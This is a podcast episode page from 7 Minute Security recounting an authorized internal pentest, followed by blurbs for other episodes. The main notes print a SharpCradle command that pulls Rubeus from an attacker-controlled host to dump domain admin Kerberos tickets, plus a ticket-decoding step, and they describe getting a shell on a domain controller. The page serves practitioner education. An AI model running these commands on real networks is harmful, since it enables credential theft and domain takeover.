7MS #442: Tales of Internal Network Pentest Pwnage - Part 23
7 Minute Security19 Marras 2020

7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features:

  • Great blue team tools alerting our customer to a lot of the stuff we were doing
  • An EDR that we tried to beat up (but it beat us up instead)
  • SharpGPOAbuse which we talked about extensively last week
  • Separation of "everyday" accounts from privileged accounts
  • Multi-factor authentication bypass!
  • Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation.

The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds:

SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap

This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with:

echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb

Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight.

We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

Jaksot(691)

7MS #491: Interview with Louis Evans of Arctic Wolf

7MS #491: Interview with Louis Evans of Arctic Wolf

Today we're joined by Louis Evans of Arctic Wolf to talk about all things cyber insurance, including: History on cyber insurance - who's buying it, what it does and doesn't cover, and when it started to be something you didn't want to leave home without What are insurance companies asking/demanding of customers before writing a cyber insurance policy? What basic things organizations can do to reduce malware/ransomware incidents (whether they are considering a cyber insurance policy or not)? How do I evaluate the various insurance carriers out there and pick a good one?

20 Loka 202152min

7MS #490: Desperately Seeking a Super SIEM for SMBs - Part 4

7MS #490: Desperately Seeking a Super SIEM for SMBs - Part 4

Hey friends! Today we're going to recap the SIEM/SOC players we've evaluated so far (Arctic Wolf, Elastic, Sumo Logic, Milton Security) and then talk about a new contender that was brought to our attention: Blumira (not a sponsor, but I'm really digging what I'm seeing/hearing/experiencing thus far)!

13 Loka 202142min

7MS #489: Ping Castle

7MS #489: Ping Castle

Today we're talking about Ping Castle (not a sponsor), an awesome tool for enumerating tons of info out of your Active Directory environment and identifying weaknesses, misconfigurations and paths to escalation! It's wonderful for both red and blue teamers. Some of Ping Castle's cool features include being able find: Kerberoastable and ASREPRoastable users Plain text passwords lingering in Group Policy Objects Users with never-expiring passwords Non-supported versions of Windows Machines configured with unconstrained delegation Attack and escalation paths to Domain Admins

6 Loka 202158min

7MS #488: How to Succeed in Business Without Really Crying - Part 10

7MS #488: How to Succeed in Business Without Really Crying - Part 10

Today we continue our series focused on building a security consultancy and talk about: A phishing campaign that went off the rails, and lessons learned from it First impressions of an awesome tool to help add MFA to your Active Directory (not a sponsor) A tangent story about how my wife brought some thieves to justice!

29 Syys 202143min

7MS #487: Light Pentest eBook Announcement!

7MS #487: Light Pentest eBook Announcement!

Hey friends! Today I've got some exciting personal/professional news to share: our Light Pentest eBook - which is a practical, step-by-step playbook for internal network penetration testing - is now available for purchase! Note: this eBook and the Light Pentest LITE training are two separate things, but do cover some of the same topics. The Light Pentest eBook covers: Grabbing and analyzing packet captures Abusing insecure network protocols Exploiting (the lack of) SMB signing Capturing, cracking and passing hashes Locating high-value targets with DNS zone transfers Exploiting vulnerable Group Policy Objects Scraping screenshots of Web interfaces with WitnessMe Finding and cracking "Kerberoastable" and "ASREPRoastable" Active Directory accounts Dumping, passing and cracking hashes from domain controllers The Light Pentest eBook is available now for $7.77, and by purchasing it you are entitled to all future editions/revisions going forward.

28 Syys 20217min

7MS #486: Interview with Matt Quammen of Blue Team Alpha

7MS #486: Interview with Matt Quammen of Blue Team Alpha

Today our good buddy Joe Skeen and I virtually sit down with Matt Quammen of Blue Team Alpha to talk about all things incident response! Topics covered include: Top 5 things to do and not do during ransomware event Challenges when responding to ransomware events Opportunities to break into infosec/IR The value of tabletop exercises, and some great ideas for conducting your own Incident response stress and success stories Cyber insurance - worth it or not?

22 Syys 202139min

7MS #485: Interview with Christopher Fielder

7MS #485: Interview with Christopher Fielder

Today our friend Christopher Fielder from Arctic Wolf is back for an interview four-peat! We had a great chat about making sense of vendor alphabet soup terms (like SIEM, SOC, EDR/MDR/XDR, ML, AI and more!), optimizing your SOC to "see" as much as possible, tackling vendor/customer communication problems, and simplifying security product pricing to make purchases less stressful for customers! And don't forget to check out Christopher's first, second and third interviews with 7MS.

15 Syys 202152min

7MS #484: Desperately Seeking a Super SIEM for SMBs - Part 3

7MS #484: Desperately Seeking a Super SIEM for SMBs - Part 3

Today we're continuing our series called Desperately Seeking a Super SIEM for SMBs - this time with a focus on a new contender in our bake-off: Perch Security! It might help you to go back and take in part 1 and part 2, but today we're focusing on the first experience I had chatting with the sales/technical folks at Perch. TLDL: I really liked a lot of things I was hearing and seeing. Pros (perceived) include: Simple pricing model Easy to use dashboard Cool "marketplace" of integrations you can add to your instance and start getting alerts for Nice API integration that seemed pretty simple to use - and that covers a lot of different cloud products and services Ticket dashboard looked straightfoward to use and interpret Can quickly add IPs/subnets that you don't want to monitor, if appropriate

8 Syys 202146min

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